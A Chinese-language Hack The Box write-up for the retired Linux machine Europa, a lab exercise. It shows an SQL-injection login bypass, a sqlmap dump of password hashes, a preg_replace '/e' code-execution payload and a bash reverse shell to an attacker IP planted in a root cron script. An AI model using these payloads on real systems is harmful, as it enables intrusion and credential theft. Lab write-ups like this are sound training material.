概述 (Overview)
HOST: 10.10.10.22
OS: LINUX
发布时间: 2017-06-24
完成时间: 2021-09-15
机器作者: ch4p
困难程度: MEDIUM
机器状态: 退休
MACHINE TAGS: #SQLi #Command_Injection
攻击链 (Kiillchain)
使用 Nmap 对目标服务器进行开放端口枚举,通过绑定本地 hosts 文件中的 htb 域名访问 HTTPS 服务。利用 SQLi 攻击登录管理系统,随后利用表单保存功能触发的 preg_replace 函数的PHP任意函数执行漏洞,成功拿到立足点。最终通过脆弱的定时任务执行,获得 ROOT 权限。
枚举(Enumeration)
老样子,使用 Nmap 对目标服务器进行开放端口枚举。
PORT STATE SERVICE
22/tcp open ssh
| ssh-hostkey:
| 2048 6b:55:42:0a:f7:06:8c:67:c0:e2:5c:05:db:09:fb:78 (RSA)
| 256 b1:ea:5e:c4:1c:0a:96:9e:93:db:1d:ad:22:50:74:75 (ECDSA)
|_ 256 33:1f:16:8d:c0:24:78:5f:5b:f5:6d:7f:f7:b4:f2:e5 (ED25519)
80/tcp open http
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Apache2 Ubuntu Default Page: It works
443/tcp open https
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Apache2 Ubuntu Default Page: It works
| ssl-cert: Subject: commonName=europacorp.htb/organizationName=EuropaCorp Ltd./stateOrProvinceName=Attica/countryName=GR
| Subject Alternative Name: DNS:www.europacorp.htb, DNS:admin-portal.europacorp.htb
| Issuer: commonName=europacorp.htb/organizationName=EuropaCorp Ltd./stateOrProvinceName=Attica/countryName=GR
| Public Key type: rsa
| Public Key bits: 3072
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2017-04-19T09:06:22
| Not valid after: 2027-04-17T09:06:22
| MD5: 35d5 1c04 7ae8 0f5c 35a0 bc49 53e5 d085
|_SHA-1: ced9 8f01 1228 e35d 83d3 2634 b4c1 ed52 b917 3335
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
从结果中可以得知目标服务器是 Ubuntu ,并且通过 Apache 部署有 http、https 服务。而从 https 服务的证书中我们可以获得两个域名:
- www.europacorp.htb
- admin-portal.europacorp.htb
进一步查看证书还能的到一个 mail 地址:
Port 443 - HTTPS
通过配置 hosts 文件,将上述域名及IP全部写入文件进行进行访问, 会看到一个登录表单页面:
立足点(Foothold)
简单测试了一下,当传递含有单引号特殊字符时后台会返回 SQL 语法错误:
POST email=test@qq.com'&password=123123'
错误内容为:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'e335fff9dc6fa3391a0360d5c36ac4d6'' at line 1
其中的 MD5 值通过解密后,正好是传递的 password 参数 123123 的 MD5 编码。既然 password 参数在进行 SQL 查询前会进行编码,改为测试 email 参数,发现存在任意登录。
POST /login.php HTTP/1.1
email=admin@europacorp.htb'-- -&password=123123
HTTP/1.1 302 Found
Location: https://admin-portal.europacorp.htb/dashboard.php
从返回的请求包数据中可以看出,成功登录系统。为了测试是否存在密码重用的漏洞,使用 SQLMAP 工具查询数据库用户表的密码。
sqlmap -u "https://admin-portal.europacorp.htb/login.php" --data "email=admin@europacorp.htb&password=" --risk=3 --level=3 --dbms "MYSQL" -D admin -T users --dump -threads 10
常用参数解析:
--data=DATA Data string to be sent through POST (e.g. "id=1")
--risk=RISK Risk of tests to perform (1-3, default 1)
--level=LEVEL Level of tests to perform (1-5, default 1)
--dbms=DBMS Force back-end DBMS to provided value
--force-ssl 忽略ssl认证
--dump-all Dump all DBMS databases tables entries
(从不询问用户输入,使用所有默认配置。 )
--answers="follow=Y" --batch
--threads=THREADS 最大的HTTP(S)请求并发量(默认为1)
-o 开启所有优化开关
sqlmap identified the following injection point(s) with a total of 514 HTTP(s) requests:
---
Parameter: email (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
Payload: email=admin@europacorp.htb%' AND 6447=(SELECT (CASE WHEN (6447=6447) THEN 6447 ELSE (SELECT 1100 UNION SELECT 2130) END))-- -&password=
Type: error-based
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
Payload: email=admin@europacorp.htb%' AND GTID_SUBSET(CONCAT(0x7176626a71,(SELECT (ELT(5332=5332,1))),0x717a6b6b71),5332) AND 'BpfG%'='BpfG&password=
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: email=admin@europacorp.htb%' AND (SELECT 2671 FROM (SELECT(SLEEP(5)))Myiz) AND 'PWvr%'='PWvr&password=
---
Database: admin
Table: users
[2 entries]
+----+----------------------+--------+----------------------------------+---------------+
| id | email | active | password | username |
+----+----------------------+--------+----------------------------------+---------------+
| 1 | admin@europacorp.htb | 1 | 2b6d315337f18617ba18922c0b9597ff | administrator |
| 2 | john@europacorp.htb | 1 | 2b6d315337f18617ba18922c0b9597ff | john |
+----+----------------------+--------+----------------------------------+---------------+
通过在线解密网站的查询可以得到 MD5的明文数据:
2b6d315337f18617ba18922c0b9597ff:SuperSecretPassword!
使用明文密码成功已 admin 身份登录系统,在左侧菜单栏 Tools 中能找到 OpenVPN 配置生成器功能。
在 google 搜索中找到了与 OpenVPN 配置生成器相关的利用。
从 OpenVPN 配置文件反向 Shell (https://medium.com/tenable-techblog/reverse-shell-from-an-openvpn-configuration-file-73fd8b1d38da)
文章中主要利用的是 OpenVPN 配置功能里的 up 命令,up命令将执行您指向的任何脚本二进制文件。经过测试可以填写 IP Address of Remote Host
输入框内容,保存配置生成器内容。
提交后生成:
测试后这条思路不通,没办法将预期的 up 命令写入配置。休息了一个小时,转而查看发送数据包。
观察到保存时会发送三个参数 pattern
、ipaddress
、 和 text
。pattern 的值为 /ip_address/
,在 PHP 中及具备字符串替换且可以 RCE的条件,那么很有可能是使用的正则表达式函数。
pattern=/ip_address/&ipaddress=1.1.1.1&text=...snip...
在 PHP 中 preg_replace 函数具备一个 /e
的 PCRE 修饰符,它可以用于执行危险的函数。
尝试在参数中加入 /e
触发 PHP 的任意函数执行:
pattern=/ip_address/e&ipaddress=phpinfo()&text=ip_address
返回结果中可以看到 phpinfo()
函数被成功触发。
接着直接使用 system
函数执行反弹shell,成功拿到立足点。
权限提升(Privilege Escalation)
在 PHP 数据库连接文件配置文件中找到了一组口令,但尝试横向 john 用户时却失败了,说明这思路不对。
<?php
// cat db.php
$connection = mysqli_connect('localhost', 'john', 'iEOERHRiDnwkdnw');
查看站点存储路径 /var/www ,能看到存在很多其他可疑的文件夹,其中的 cmd 文件夹 www-data 组用户可以进行查看。
www-data@europa:/var/www$ ls -lah
total 24K
drwxr-xr-x 6 root root 4.0K May 12 2017 .
drwxr-xr-x 14 root root 4.0K Apr 18 2017 ..
drwxr-xr-x 7 root root 4.0K Jul 27 2017 admin
drwxrwxr-x 2 root www-data 4.0K May 12 2017 cmd
drwxr-xr-x 2 root root 4.0K Jun 23 2017 cronjobs
drwxr-xr-x 2 root root 4.0K Jul 27 2017 html
但里面的内容是空的,而 cronjobs 文件夹中存在一个可执行文件 clearlogs,内容为:
!/usr/bin/php
<?php
$file = '/var/www/admin/logs/access.log';
file_put_contents($file, '');
exec('/var/www/cmd/logcleared.sh');
?>
可以看到,逻辑为清空站点访问日志随后再执行 logcleared.sh 脚本。而触发这个可执行文件的动作,则是在 /etc/crontab 中,每分钟都会已 root 身份执行。
这就很简单了,提权步骤清晰明了。当前 shell 用户具备对 cmd 文件夹的 CURD 操作,直接创建一个 logcleared.sh 文件并写入反弹 shell 语句等待定时任务执行。
echo -e '#!/bin/bash\n\nbash -c "/bin/bash -i >& /dev/tcp/10.10.17.64/9900 0>&1"' > /var/www/cmd/logcleared.sh
和预期一致,成功提权。